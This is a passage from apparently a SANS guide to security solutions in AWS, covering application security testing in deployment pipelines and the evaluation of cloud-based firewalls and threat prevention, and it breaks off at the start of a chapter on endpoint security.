many of these considerations. Business Considerations Details Organizations must understand their current software development life cycle (SDLC) policy and how it may be affected by a move to a cloud environment. An SDLC policy describes the various stages of application deployment and delivery. These underlying methodologies do not change when moving to a cloud environment but the processes and procedures for application code review, application building, delivery and analysis probably will. Anticipating what changes to the SDLC will be triggered by transitioning to AWS will allow organizations to adopt an SDLC that not only fits the cloud model, but also has tangible benefits for an organization’s application delivery within the cloud. Planning and making these changes first will save your organization time should a policy need to be redefined in the future. Organizations should determine the acceptable level of risk for their application(s). Although it would be nice if we could deliver applications without errors or exploitable weaknesses, such a scenario is unfortunately unrealistic. Developers have to release applications within the timelines demanded by their sprints, and they often lack sufficient resources to explore and address all security aspects of their application in the available time. If an organization deploys an application with little or no security validation, it is exposed to a greater risk that the application could be exploited. Organizations must plan ahead and define an acceptable threshold for vulnerabilities within a production-class application. For example: Organization X ships releases for its Acme web app every two weeks. It runs security tests each time the application is built. Its policy states that if those tests find that the application build contains more than three high-risk vulnerabilities or greater than zero critical risk vulnerabilities, Organization X will block application delivery until the issues have been addressed and corrected. While AWS operates under the “pay what you use” model, many third-party vendors allow customers to deploy products directly on AWS’s infrastructure. Leveraging third-party applications and tools can quickly increase licensing costs for your organization. Take precautions when deploying third-party applications and tools on AWS infrastructure, because your organization will incur both AWS infrastructure usage and software licensing costs. Licensing costs can be charged in a few different ways. They may be billed to the organization on an annual basis or perhaps by the hour. Understanding and planning for expected licensing costs will ensure you are not caught off guard by large invoices from AWS. Consideration Policies and standards Licensing options Solution Guidance in AWSTechnical Considerations Consideration Technology deployment Consideration Application stack Details Organizations should plan ways to implement their application security in a repeatable, consumable manner. Security teams can provide guidance in this matter in a variety of ways. Within AWS, applications can be deployed through a fully automated “pipeline”; alternatively, they can be deployed in an ad hoc fashion. An organization would be wise to create small, repeatable security tests as part of the deployment process, and to continuously refine those tests as the application matures. Understanding how your organization deploys its applications will allow the security teams to create and deploy effective security tests that align with the developers’ deployment plan. Organizations need to decide if they will allow OSS or unsupported technologies. While it’s true that an open source application allows insightful visibility into the application’s security, it’s also true that open source projects do not come with the luxury of customer support or SLA. If you plan to use open source technology for critical tasks or security assurance, you will need to ensure you have a proper plan in case the tool stops working at some point. On the other hand, OSS tools offer some unique opportunities. Organizations can take advantage of free open source tools and, as their needs outgrow the capabilities, modularity or support level provided by the OSS tooling, they can transition to more professional offerings. Details AWS Marketplace offers many tools for securing your organization’s applications. Leverage any available open source testing software to get used to integrating security tools into your application development process (and save costs). Static analysis tools (linters) allow you to check your code for programming errors, bugs, stylistic problems and suspicious constructs. Each programming language has its own set of linters, most of which can be installed directly within your developers’ preferred integrated development environment (IDE). Having developers use a linter within their IDE saves time in the development process by catching the errors before the application code is pushed. Catching these issues before the application is deployed makes it easier to mitigate them after deployment. Organizations should also consider their application stack and what corresponding Static Analysis Security Testing (SAST) tools might best fit their deployment pipeline. While linters check for bugs, syntactical errors, programmatic errors and code nuances, the purpose of SAST tools is to identify security issues in the application source code (versus during compilation or runtime). As with linters, each language has its own set of SAST tools, so your organization needs to understand the application code being implemented and what the information security teams will need to deploy to validate the codebase. 259 Consideration Pre-deployment security (inline) Post-deployment security (out of band)Details The largest challenge of inline scanning is the time it takes scans to complete. If your organization needs to deploy an application change, your security test should not require a long time to run. Imagine making a small configuration change to your organization’s application. You push your code to the development pipeline, and now you have to wait 30 minutes for the security tools to scan your changes. Developers can push these changes many times a day, so waiting for these scans can be frustrating. We recommend that inline scans should not take longer than five minutes (depending on the size of the codebase). Your organization might also want to consider scanning only the changes to the code from the last push (delta scan). This method saves time but may be better suited to more mature organizations. It also makes sense to occasionally scan the entire codebase outside of the pipeline (out-of-band scans). We advise that organizations take small, repeatable, incremental steps in deploying inline scans for application pipelines. It’s a good idea for your security team to have its own source code repository where it stores its tests. After a test has been created and validated, it can be stored in the repository. Once the code is in this repository, it may be shared with the developers, and they can include them within their development pipeline. You can work with the developers to ensure that the latest copy of the security test is always referred to when inline scanning. This procedure allows the security team to update the test as it sees fit. Because the development team has the latest copy of the test always being pulled into the pipeline, there should be no additional work when the security tests are updated. Leveraging this approach allows you to continuously test applications, update the tests and keep track of what exactly was changed via revision control. Organizations will need to decide when to implement post-deployment security scanning. We mentioned out-of-band scanning earlier: If scans take too long to complete, they can be scheduled after the application has been deployed. Full scans by Dynamic Application Security Testing (DAST) tools can take hours to run, depending on the application size and scope of the scan. The following are examples of tools that should be run outside of the deployment pipeline: • Infrastructure scans— These can take a long time depending on the scope of the resources and security checks the scan performs. • Dynamic application security scans— These require the environment to already be up and running. Like infrastructure scans, these scans can take some time to complete, depending on the organization’s scanning scope. • Full web application security scans— Depending on the parameters of the test (credentialed/no-credential/spider/full active scan) and the size of the application, this scan can take a long time to run and should not be used inline. Organizations will need to decide what is necessary to test and ensure application security for applications that have already been deployed. Solutions such as infrastructure security scanning, WAF implementation and DDoS protection should be evaluated. Technical Considerations Continued Solution Guidance in AWSOperational Considerations Consideration Processes and procedures Resources and deployment synergyDetails Organizations may need to create or modify processes and procedures for security web applications in AWS. While some existing processes and procedures may work without modification, hosting applications in AWS means different methods of application delivery. Organizations may want to start to include developers and key individuals involved with application delivery in meetings and discussions about application security testing. Security teams might also want to sit in on development meetings and inform discussions when application security concerns arise. Security in AWS and the applications deployed within the cloud will take dedicated resources to ensure that the proper policies and procedures are followed. Organizations must be cognizant that resources will need to be dedicated in such an effort, and they should plan accordingly. Organizations should consider which approach they would like to take with their cloud application security and the level of responsibility for each team involved within the process. Development and security teams within your organization need to take responsibility for the security and integrity of the application. 261AWS Implementation Considerations Application Security Consideration Cloud context support Deployment IntegrationDetails Application deployment leverages many ephemeral resources that support application delivery. Catalog all possible resources used within the deployment process for identifying any issues. Evaluate: • The additional cloud context (tags or image IDs, other possible ephemeral resources) captured within the development processes (phoenix servers, artifacts and the like) • Logging and cataloging of the cloud resources for traceability and troubleshooting Deployment methods for security tools within AWS can vary depending on the development pipeline. Organizations should deploy these tools within the context of the development pipeline. Evaluate: • Installation and initial configuration for tools • Possible use of professional services to aid or accelerate tool deployment • Programming tools and languages used in the applications and their corresponding DAST/SAST tools • The availability of managed or SaaS components or preconfigured appliances from AWS Marketplace • Leveraging AWS-native services for security implementation Integration of application security tools into current processes/procedures ensures security teams can respond to risks. Integrating application security tools into the development pipeline allows for visibility, deployment and management. It also provides ease of use for security and development teams. Evaluate: • The development pipeline process and how to embed security tools and scans inline within a reasonable time • Tools that integrate with current security solutions (SIEM, SOAR, IT service management) • API support (REST APIs available, SOAP APIs available, other available programmatic APIs) • Use of custom plugins or integrations • Integrations with native AWS services Solution Guidance in AWSMaking the Choice To summarize, the key considerations for implementing application security in AWS are: • Cloud context • Deployment • Integration • Configuration and iteration • Reporting Evaluate Your Organization’s Current Deployment Process There are many ways to deploy applications with AWS, and many methods with which to build out your deployment pipeline. When defining your proof of concept, include significant members of the application deployment team and ensure you understand their method of deployment infrastructure (Amazon EC2, Amazon ECS, serverless) and deployment pipelines (AWS CodePipeline, Jenkins, other deployment tools). Once your organization has a strong understanding of the deployment process, it can begin to evaluate its needs and considerations for security tools. Define a proof of concept that meets both your organization’s considerations and the developers’ current deployment process. Define a Plan and Implement By defining and understanding its cloud architecture, risk profile, business requirements and available resources as well as all the possible deployment methods within AWS, an organization should have a clear idea of its road map for application security protection. Understand that defining application security that meets all the discussed considerations is nearly impossible, so define and use what works best for your organization. The best course of action is to define a proof-of-concept plan based on the considerations and implementation options. Ensure that your organization’s development team is included in this process, because they will have a very strong understanding of the application and which security concerns to note. Once you have planned, developed and validated your POC, development and security teams can start defining a repeatable process for integrating app security within the development process. In this 263stage, your organization should work with the development team to identify the team’s current security issues and how the developed POC will help secure the application and reduce the application’s risk to meet the organization’s risk threshold. Figure 1. The DevOps Life Cycle Solution Guidance in AWS About the Author Nathan Getty holds the GWAPT and GCIA certifications, and he recently won the SANS Cyber Defense NetWars competition, a defense-focused challenge that tests the ability to solve problems and secure systems from compromise. Nathan currently works for one of the world’s leading food delivery companies. In his organization, he focuses on cloud security, including AWS onboarding, and developing best security practices and general security/ cloud insights. Nathan also focuses on driving DevOps methodologies in the company’s security program, implementing continuous delivery platforms to allow smoother development and improvement of internal security applications.Conclusion Application security is a crucial step for organizations’ cloud security strategy. Having a defined plan and integrating security within the development process allows for greater visibility within the application delivery process, visibility into the security stance of the application and a defined remediation process for application security vulnerabilities. Work with the development team through each stage of the DevOps life cycle (see Figure 1). Plan with the developers, join meetings when they develop and discuss their applications, ask the developer team for help when writing security tests in the verification stage, add out-of-band security (WAF protections, EDR solutions, DDoS protections and the like) in the release stage, and constantly monitor the security state of the application through your infrastructure monitoring and log analysis. Security tools and checks can be applied to many stages of the development process. Keep in mind that this process should always be repeatable and easy to use. Start small and build from there. To get started today, consider an evaluation of some of the solutions readily available via the AWS Marketplace. You may also consider leveraging a SaaS solution to jump-start your organization’s journey into AWS application security. 265 “This chapter provides an overview of the implementation options for firewalls and threat prevention in AWS. In this chapter, I discuss the needs and capabilities associated with these products and review the key technical and operational considerations that must be considered when planning an implementation. I review options such as bring your own license (BYOL), managed firewall and virtual firewall appliances available in the AWS Marketplace. The target audience includes cyber security engineers and cloud engineers responsible for integrating a secure AWS environment. This chapter concludes with a simple method for performing an analysis of alternatives that hopefully aids in the decision-making process for your unique environment.”Brian Russell SANS Analyst Chapter 21: Solution Guidance for Cloud-Based Firewalls in AWS Solution Guidance in AWS Solution Guidance in AWSIntroduction Firewalls have evolved from providing simple packet filtering based on port and protocol combinations. Today’s cloud-based firewalls are virtualized in the cloud and provide rich features such as application- based filtering, microsegmentation, encrypted traffic inspection and DNS security. Cloud-based firewalls are becoming true security platforms that incorporate intrusion prevention and detection features and threat prevention services that allow organizations to stay protected against both known and unknown malware. This guide examines options for implementing firewalls within Amazon Web Services (AWS). It examines the needs and capabilities associated with today’s firewall and threat prevention services and details general, technical and operational considerations when choosing these products. The guide concludes by examining AWS-specific considerations and recommending a plan of action for organizations considering the purchase of cloud-based firewalls. Before we begin, Table 1 provides definitions of key firewall- related terms. The considerations in this guide are designed to inform a systematic evaluation strategy for choosing the optimal firewall for your requirements. An evaluation strategy should be based on an organization’s specific needs and implementation requirements. The evaluation should consider the capabilities of the native AWS firewall offerings and then incorporate a review and comparison of AWS Marketplace offerings. Finally, following the simple “Analysis of Alternatives” detailed in the “Making the Choice” section of this paper will assist you in making the right decision for your organization.1 1 “Analysis of Alternatives,” https://en.wikipedia.org/wiki/Analysis_of_Alternatives 267Implementation Options in AWS Security engineers have many options when choosing firewalls to deploy within AWS. AWS offers a native firewall solution that provides packet filtering and is integrated directly into the AWS environment. Third- party vendor solutions often offer additional features and are available from AWS Marketplace. Customers can also engage through Consulting Partner Private Offers (CPPO) to work directly with trusted advisors to select and configure firewall solutions from AWS Marketplace. As organizations build out their cloud and cloud security strategy and plan, they may want to consider working with partners to accelerate their efforts or fill any gaps in knowledge or resources that are identified. All consulting partners may extend AWS Marketplace third-party solutions directly to customers through CPPO.2 Network Firewall Web Application Firewall Next-Generation Firewall Cloud-Based Firewall Threat Prevention Network security device used to monitor incoming traffic and block unauthorized traffic. Commonly, a set of rules is defined for ingress and egress traffic. Only authorized traffic is allowed into and out of the network. Rules are typically set up based on IP address and port combinations. An HTTP application-specific firewall used to protect an application’s back-end servers from attacks such as cross-site scripting and SQL injection. A set of rules governing the format and content of HTTP messages is defined. HTTP messages are then evaluated to ensure the criteria set forth by the rules are enforced. Next-generation firewalls build upon traditional firewalls to include additional protection mechanisms. Functionalities may include intrusion prevention, application firewalling, TLS/SSL- encrypted traffic inspection and more. Firewalls that operate within the cloud on a variety of licensing terms and provide cloud-tailored features such as application control, dynamic addressing and microsegmentation. They can scale to meet the demands of the cloud. Threat prevention services are add-on features to firewall product offerings. The services are designed to enhance firewall capabilities by adding features such as zero-day malware prevention, IDS/ IPS, antivirus, DDoS protection and URL filtering. Subscription-based services can keep threat data up to date and include blacklisted IP addresses, URLS or domains.Table 1. Key Terminology in This Guide Descriptions Terms 2 Consulting Partner Private Offers, https://aws.amazon.com/marketplace/features/cpprivateoffers Solution Guidance in AWSNot every organization will be able to find resources with deep cloud experience, and even experienced cloud technologists may have experience only in specific industries or with certain cloud vendors. More information on each approach is detailed in Table 2. Bring Your Own License (BYOL) Managed Firewall/ Firewall-as-a-Service Virtual Firewall Appliances Trusted Advisors For businesses that already own firewall licenses, BYOL provides a flexible deployment option. A BYOL approach allows an organization to reassign its licenses. This approach can be ideal because the license is not tied to a specific subscription. BYOL requires that licenses be tracked. Firewalls available within AWS Marketplace may be available for use directly with AWS accounts. Traditionally, firewalls are a separate physical device. Managed firewalls and firewall-as-a-service offer a cloud-based rather than a device-based solution. In AWS, firewall-as-a-service offers immediate protection and, in some ways, may be more cost- effective for smaller companies that may not be able to purchase and maintain the firewall infrastructure. Virtual firewall appliances are installed and operate directly within the cloud. Virtual firewalls can be deployed quickly and many options are available from AWS Marketplace. Trusted advisors are experts in an area and can be used on a consulting basis to support selection and configuration of the optimal firewall products based on specified requirements. You can view a listing of AWS Security Competency Partners here: https://aws.amazon.com/security/partner-solutionsTable 2. Options for Choosing the Right Firewall Vendor for Use Within AWS Descriptions Terms Needs and Capabilities: The Business Case for Firewalls and Threat Prevention in the Cloud The perimeter is no more. But even though networks are no longer defined by their perimeters, firewall products still fill a critical role in an organization’s security architecture. Firewalls have evolved from simple filtering based on IP addresses and ports. To protect today’s organization, they allow security administrators to filter based on specific applications and even application functions. Firewalls support nested policies and can be used to securely connect the data center and the cloud. Firewalls are becoming even more important as the network perimeter changes and the capabilities of attackers increase. 269This section and Figure 1 detail the reasons for deploying firewalls and threat prevention services in the cloud. Figure 1. Reasons to Deploy Firewalls and Threat Prevention Techniques in the Cloud Hybrid Ecosystems Needs and Capabilities Remote Users Operate Anywhere, Anytime Integration with SaaS Application Providers Blurred Line Cost Savings Blurred Line A network perimeter is what separates the private side of a company’s network from its public side. The private side is usually managed by the company, and the public network is typically managed by the provider of the network. However, with the growing popularity of mobile devices, cloud solutions and social networks, the line between private and public is increasingly blurred, making protecting the network using traditional firewalls more challenging. Mobile devices must be able to operate on networks outside the corporate firewall. Firewalls and threat prevention techniques in the cloud allow for flexibility to reconfigure according to new challenges, scalability to accommodate influxes of devices and widespread coverage beyond the physical network. Remote Users Operate Anywhere, Anytime Related to the disappearance of the network perimeter, more and more employees are working remotely Solution Guidance in AWSand accessing applications that can be hosted anywhere geographically. Traditional firewalls do not allow secure and fast connection from anywhere in the world or any time of the day. Cloud-based firewall solutions are scalable for securely tunneling all user traffic and support multifactor authentication, allowing remote users to connect via secure tunneling so that no matter where they are, their connection is secured. Hybrid Ecosystems As companies expand, they are turning toward hybrid ecosystems, where resources are both on premises and in the cloud. Such ecosystems reduce capital investment in physical infrastructure. Cloud-based firewalls enable hybrid ecosystems by instantiating and enforcing virtual private networks (VPNs) between the data center and the cloud. These cloud-based firewalls can be configured to scale to meet the demands of today’s enterprises and can even be configured to augment the capacity of firewalls installed on premises. These cloud-based firewalls can be quickly deployed within AWS using CloudFormation templates. Integration with SaaS Application Providers Assuring the security of mission-critical SaaS applications can be a challenge. Cloud-based firewalls can be configured to protect against malicious attacks on these applications, and they offer features above and beyond traditional firewalls such as deep packet inspection, application-based access controls, threat prevention and zero-day malware detection. Cost Savings Cloud-based firewalls can be procured with flexible subscriptions. Cost models are shifting from requiring large up-front capital expenditures to monthly expenses. Cost savings can be realized through the unique licensing options available within AWS; a combination of monthly and hourly pricing supports lower-cost handling of peak demand. Additionally, when firewalls are deployed to the cloud, fewer instances may be required compared to data center installations, further reducing overall cost. Administrative costs can be lowered through automation using firewall management APIs. Needs and Capabilities Cloud-based firewalls provide security around the cloud implementation and support network segmentation. They enhance threat prevention capabilities. 271Cloud-Based Firewalls The need: Firewalls allow organizations to filter and log unauthorized or suspicious connections based on rules and/or behaviors. Firewalls also support network segmentation and can be used to ensure that only authorized applications or application types are run within an organization. They can also require multifactor authentication for all remote connections and can be used to detect and prevent intrusion attempts. Capabilities • Allow administrators to define and load policies that filter on IP addresses, ports, protocols, application types, groups and users. This capability ensures that only authorized users, communications and applications are allowed to interact with or access organizational assets, or even to limit functions within an application for some users. • Allow administrators to segment their networks and isolate both north-south and east-west traffic. This functionality provides dynamic security across cloud/data center implementations as well as throughout the application service stack. • Provide dynamic addressing support such as network address translation (NAT) that enables seamless integration across the cloud and data center. This support allows IP traffic across the entire ecosystem even when IP addresses change. • Inspect encrypted traffic flowing through Transport Layer Security (TLS) tunnels. This capability mitigates the threat of an adversary passing malicious data into the network within an encrypted tunnel. • Reduce administrative burden by providing automated policy management using well-defined APIs or providing AWS CloudFormation templates. This capability may also support touchless deployment, which significantly reduces the time needed to begin use. Threat Prevention The need: Threat prevention adds to a cloud-based firewall by providing advanced logging, alerting and prevention of both known and unknown threats. This feature includes services that keep firewall policy up to date with the latest threats and protects against both known and unknown malware. Solution Guidance in AWSCapabilities • Provides advanced intrusion prevention capabilities that analyze, prevent and report on suspicious behavior within the system. • Provides antivirus protections that identify and remediate malicious content based on known signatures. • Logs events and alerts on suspicious behavior and may also support correlation across multiple firewall/threat prevention instances. • Maintains a continually and dynamically updated threat database that includes known malware and known malicious sites and IP addresses. • Protects the infrastructure from malware and provides advanced functionality such as DNS sinkholing. General Cloud-Based Firewall and Threat Prevention Considerations Consideration On-demand access Hybrid ecosystems Regulatory compliance mandates Speed to market and agile capabilities Cost Dynamic threat environmentDetails Today’s users operate globally and 24/7. Users require secure access to their applications and data spread across the data center and the cloud. Today’s organizations use multiple infrastructures in support of their missions. Organizations spread data and applications across the data center and multiple SaaS providers. Data must be securely passed among these environments. Regulations mandate compliance with security and privacy requirements. Firewalls support this compliance by enforcing technical security policies that enable the confidentiality of information. Organizations rely on elastic cloud services to quickly introduce new capabilities or to scale to meet demand. Cloud-based firewalls enable organizations to move quickly to meet demand and demonstrate new agile capabilities securely. The pay-as-you-go model enables organizations to procure cloud-based firewalls using operational dollars instead of capital expenditure (CapEx) funds. Combining hourly and annual subscriptions supports cost-effective dynamic scaling. Costs can also be saved using managed updates. Security teams are often overworked and have trouble maintaining situational awareness of the latest threats. Threat prevention services keep security teams updated on the latest in attack methods and automatically update firewall rules to guard against these new threats. 273 Consideration Application-layer support HTTP(S) inspection Dynamic addressing Network isolation and microsegmentation Automated policy management Threat prevention Granular policy definition and enforcement Situational awarenessDetails Network communications are no longer bound to discrete service ports that can be easily filtered by a firewall. Today, most communication happens over ports 80 and 443 in the form of web traffic, leaving traditional firewalls unable to perform their functions of filtering defined IP address/port ranges. Identifying applications at Layer 7 becomes more important to safely enable the use of an application as well as reduce the attack surface. TLS-encrypted traffic streams provide attackers with a method of gaining access to systems. Firewalls must be able to peer inside this encrypted traffic to perform filtering functions that identify the underlying application as well as any potential threats. Cloud-based firewalls must be able to support environments where virtual network address ranges change on a regular basis. Dynamic addressing allows you to create policy that automatically adapts to changes—adds, moves or deletions of servers. Firewalls must be able to provide network segmentation and filter traffic between trusted and untrusted environments. Firewalls installed within the cloud must be able to be managed efficiently. APIs can support the automated management of firewall policies and enable coordination of firewall enforcement across multiple instances. Threats change quickly, with new exploits and attack methods constantly being developed. Vendors must be able to update firewalls quickly with new information on malicious content, sites and addresses to protect the enterprise. Cloud-based firewalls should be able to support policies at multiple layers of the ecosystem, including applications, application types and functions, users, networks, ports and protocols. Firewall instances might be installed across cloud regions and within several data centers. They must be able to share logging information in standardized formats to enable situational awareness across the organization’s infrastructure. Technical Considerations Consideration Single-view visibility and management East-west traffic security File blocking and analysis DNS monitoringDetails Single-view visibility makes it easier for system administrators to manage deployed firewall instances using a single management application. Firewalls should support the isolation of networks and security across different environments, including east-west security. Threat prevention systems can block known-malicious files and analyze suspicious files before allowing them into the network. This function can keep an organization safe from the insertion of malware into the network. Threat prevention systems can monitor for outgoing communications to known-bad URLs and can be configured to send traffic destined to these URLs to an administrator-owned site for analysis. Solution Guidance in AWSBusiness Considerations Operational Considerations Consideration Costs Incident response Data exfiltration security Intrusion prevention Multifactor authentication Proxy Details Cloud-based firewalls can help organizations better manage their security infrastructure costs. Automated management, ease of deployment and managed updates all reduce labor costs associated with system administrators. Shifting funds from CapEx to operational budgets introduces flexibility. Combining annual subscriptions with hourly costs allows economical scalability as needed. Incident response requires access to log data for situational awareness. Organizations should update incident response plans to include analysis of cloud-based firewall log information. As the perimeter of the network changes and the focus shifts to data security, ensuring that data cannot be exfiltrated from the organization’s network becomes critical. Threat prevention solutions flag and alert on data being sent to known-malicious sites. Intrusions are blocked after evaluating traffic based on both behavior and known signatures. Multifactor authentication provides an extra layer of security to VPN logins, requiring all users to use two or more forms of authentication. Firewalls can act as proxies between networks, hiding the details of the private network from the outside world. AWS Implementation Considerations The general considerations discussed so far can help security leaders make the case for obtaining funding for the procurement of cloud-based firewalls and threat prevention services. The next section examines specific considerations for operating cloud-based firewalls within AWS. Use this section to differentiate between solutions available in AWS Marketplace. 275Business Considerations Consideration Level of AWS integration Policy management Hybrid environment support Logging AWS security competency approval Application controlDetails The native AWS firewall is directly integrated with AWS services. You should ensure that AWS Marketplace firewalls have a high degree of integration with the AWS services that you use and evaluate the options for automation of deployment and update. Evaluate: • Does the firewall provide support for both virtual private cloud (VPC) and EC2 instances? • Does the firewall integrate with AWS security services such as AWS Firewall Manager, AWS Security Hub, AWS Transit Gateway and AWS GuardDuty? • Does the firewall seamlessly support high availability across multiple AWS regions? • Does the firewall offer CloudFormation templates that can reduce time to deployment? Cloud-based firewalls should enable granular and automated policy management features. Evaluate: • Does the firewall support nested policies within security groups? • Does the firewall enable automated configuration of security policies? • Does the firewall support risk-based policy definitions? Firewalls implement IPsec VPNs to securely network across multiple VPCs, enterprise sites and SaaS providers. Evaluate: • Does the firewall support dynamic addressing that allows you to create policy that automatically adapts to changes—adds, moves or deletions of servers? • Does the firewall support networking across multiple VPCs? Logs provide a vital resource for incident response and forensics. All firewalls should provide logging features. Evaluate: • Does the firewall offer a solution that allows for aggregation of logs across multiple firewall instances? • Does the firewall integrate with AWS logging mechanisms? AWS security competencies for infrastructure security products provide a degree of confidence that the firewall meets minimum security standards for operation within AWS. Evaluate: • Does the firewall have AWS security competency approval? • Does the firewall meet other security standards and best practices? Firewalls should provide administrators with the capability to set policy based on the organization’s specific needs. This capability includes filtering on approved applications and nesting policy within security groups. Evaluate: • Does the firewall support filtering based on app ID to permit only approved applications within the network? • Does the firewall support dynamic application filters and application groups that restrict the types of applications authorized on the network? • Does the firewall support dynamic profiling, allowing the firewall to learn the typical behavior of the application over time? Cloud-Based Firewalls Solution Guidance in AWSCloud-Based Firewalls (continued) Consideration Separation of trusted and untrusted zones Management of multiple firewall instances Scalability Dynamic reportingDetails Firewalls must be able to segregate both north-south and east-west traffic. This segregation allows untrusted zones (such as development) to interact with trusted zones (such as production), and supports processes such as DevOps. Evaluate: • Does the firewall filter across trusted and untrusted zones? • Does the firewall support micro-segmentation and isolation of subnetworks? Many firewall vendors provide software that allows for the seamless management of multiple firewall instances. Evaluate: • Does the firewall include software that can manage all of the firewall instances in the cloud? • Does the firewall management software allow you to push policies and perform updates to device configurations? Cloud-based firewalls should support elastic expansion, allowing them to scale automatically to meet the demands of users. Evaluate: • Does the firewall scale automatically? • Can you use the firewall to augment data center installations to support peak demand (e.g., cloudbursting)? Reporting provides administrators with insight into trends as events occur across the network. Cloud- based firewalls should provide insightful reporting features. Evaluate: • Does the firewall provide reporting that allows for analysis of incoming requests? • Does the firewall provide reporting that tracking of trends in violations? The above considerations are based on integration of firewall capabilities within an AWS environment. Organizations may not need all of the capabilities discussed here, but they can review these considerations and determine what is needed based on their specific requirements. A critical consideration, however, is the capability to seamlessly integrate with AWS services. Any solution selected from AWS Marketplace should provide this baseline capability. Threat Prevention Threat prevention is critical to keep organizations ahead of the dynamically changing threat landscape. Threat prevention techniques incorporate the latest threat intelligence data and dynamically update policies to guard against the latest attack methods and malicious sites. Threat prevention services can provide file-blocking features, keep data from leaving the network, and identify and prevent intrusions. 277 Consideration Cloud context support Performance and efficiency DeploymentDetails Threat prevention is based heavily on the ability to acquire relevant information on the latest threats, threat actors and their capabilities. Ensure that the threat prevention services you procure within AWS are supported by top-quality threat intelligence feeds. Evaluate: • Is the threat intelligence data timely? • Is the threat intelligence data relevant to your organization’s mission? Threat prevention services should keep customers up to date on the latest threats to their systems. Evaluate: • Does the threat prevention service provide a listing of known-bad addresses and sites? • Does the threat prevention service automatically update new malware signatures? • Does the threat prevention service automatically update firewall rules based on known malicious activity? • Does the threat prevention service have the ability to perform DNS sinkholing or DNS security? Firewalls incorporating threat prevention should be capable of creating a baseline of behavior and alerting on anomalies. Evaluate: • Does the threat prevention service analyze logs, correlate events and block/alert on suspicious activity? • Does the threat prevention service support behavioral analysis? • Does the threat prevention service scan all traffic, including applications, users and content? Threat prevention services should incorporate antivirus support that includes maintaining an updated list of signatures. Evaluate: • Does the threat prevention service incorporate network antivirus features? • Does the threat prevention service provide file-blocking and analysis capabilities? Threat prevention services should provide features that keep data from leaving the network. Evaluate: • Does the threat prevention service support DNS monitoring and redirection to an administrator- specified site? • Does the threat prevention service flag on traffic destined to known malicious domains? Threat Prevention The above should be taken into consideration when choosing threat prevention services to add on to your firewall platform procurement within AWS. Solution Guidance in AWSMaking the Choice A simple Analysis of Alternatives (AoA) will allow your organization to objectively compare the products available in AWS Marketplace against one another and against the native AWS firewall service. An AoA consists of multiple steps that include: 1. Review this guide and identify your organization’s specific requirements. 2. Weigh the requirements according to the importance to your organization. For example, weigh critical requirements as “high” and desired requirements as “low.” Cost should also be considered as a factor in the evaluation. 3. Review the capabilities of the native AWS firewall. 4. Compile a list of vendor firewall/threat prevention offerings from AWS Marketplace. 5. Evaluate each firewall/threat prevention offering against selected requirements. 6. Score each of the products against each requirement. 7. Calculate the sum score for each offering and select the product with the highest score. Organizations can also opt to contract through AWS Marketplace CPPO to perform this analysis of alternatives. Choosing this approach is often optimal based on the level of expertise available through these partner organizations. Conclusion Options for cloud-based firewalls for use in an AWS deployment include native AWS offerings and third-party products offered in AWS Marketplace. An analysis of the available options based on the considerations in this paper will allow for the selection of a firewall that meets the unique requirements of any organization. Critical considerations when choosing firewall and threat prevention capabilities include the abilities to separate trusted and untrusted zones, evaluate encrypted traffic, perform behavioral analysis, operate across hybrid environments and integrate directly with AWS services. To perform this analysis, identify firewall and threat prevention options available today in AWS Marketplace and evaluate each against the criteria in this paper. 279Performing a formal analysis of alternatives will support an objective determination of the best technology solution. Alternatively, organizations can reach out to trusted third-party Consulting Partners to customize a firewall and threat prevention approach for security within the cloud. Visit the AWS Security Competency Partners page3 for more information. 3 AWS Security Competency Partners, https://aws.amazon.com/security/partner-solutions About the Author Brian Russell is the Chair of the Cloud Security Alliance (CSA) Internet of Things (IoT) Working Group and founder at TrustThink, LLC where he leads security engineering for autonomous vehicles and smart devices. He was previously Chief Engineer for Cyber Security Solutions at Leidos - a Fortune 500 Government Contractor. In that role he led Research and Development (R&D) for secure cloud systems, permissioned blockchain networks, and cryptographic key management. Brian is an adjunct professor with the University of San Diego (USD) in the graduate Cyber Security Operations and Leadership Program and co-author of the book Practical Internet of Things Security. Solution Guidance in AWSChapter 22: Solution Guidance for Endpoint Security in AWS “Endpoint security in the cloud is an emerging challenge that will continue to evolve as more and more cloud customers choose to update their architecture and design to take advantage of nontraditional or non-infrastructure as a service (IaaS) cloud services and as vendors and cloud providers create additional cloud-native or cloud-optimized solutions. Organizations will need to continuously evaluate these capabilities as they update their cloud architecture and design, paying particular attention to the capability or product’s use of cloud context, efficiency, and ease of use and integration. Direct and indirect costs will also need to be considered and measured to ensure these costs can be supported as cloud usage increases and that the total cost of endpoint security is known.”David Hazar SANS Instructor Solution Guidance in AWS 281Introduction Endpoint security options and products are continuing to mature. Enterprises and other organizations are moving away from point solutions—antivirus (AV) or anti-malware, host-based intrusion detection systems (HIDSs), file integrity monitoring (FIM) and application whitelisting—toward more robust endpoint protection platforms (EPPs). And many of those EPPs include new, advanced endpoint detection and response (EDR) capabilities. This move is similar to other efforts to consolidate the functionality of multiple security capabilities into a single solution or platform to make it easier for organizations to implement and maintain these technologies. Just as these firewalls bring the capabilities of many different security appliances into a single solution, EPPs bring the capabilities of many endpoint security agents into a single agent, or at least a single management platform. Gartner describes EPPs as “a solution deployed on endpoint devices to prevent file-based malware attacks, detect malicious activity and provide the investigation and remediation capabilities needed to respond to dynamic security incidents and alerts.” A wide range of products and solutions falls into this category, in part because there is no strict definition of required capabilities for them to be considered EPPs. That’s why you will find many traditional point solutions from recognizable vendors included in this category, albeit bundled together with some new solutions or with the addition of some new capabilities. You will also find more recent entrants into the endpoint security market that may have new, innovative approaches to endpoint security but may also lack maturity in more traditional detection and response capabilities. “Just as next-generation firewalls bring the capabilities of many different security appliances into a single solution, EPPs bring the capabilities of many endpoint security agents into a single agent.” Solution Guidance in AWSSelecting and implementing endpoint security in hybrid architectures can be a time consuming and confusing process. In this paper, we present what customers should consider when evaluating endpoint security technology in the cloud. We discuss a high-level strategy for evaluating these solutions and then discuss implementation options that organizations need to consider when planning to implement these technologies in Amazon Web Services (AWS). We also review why businesses may choose to implement endpoint security in the cloud along with the various needs and capabilities associat ed with different endpoint security solutions. Lastly, we discuss some of the considerations that should be part of the evaluation process for endpoint security in general, but then take a closer look at the considerations specific to implementing endpoint security in AWS. Not all companies may choose or be able to implement endpoint security for all of their cloud workloads. Because much of the technology associated with endpoint security is installed and runs as an agent, infrastructure-as-a-service (IaaS) cloud workloads are the most obvious candidates. In AWS, endpoint security solutions typically work with EC2 Instances or virtual machines (VMs) created on VMware Cloud on AWS. While these technologies could technically also be leveraged within containerized environments, such a situation is less typical and other container security technologies may be better suited in this type of environment. This paper focuses on implementation via instances or VMs, but most of the considerations still apply to a containerized environment. Some 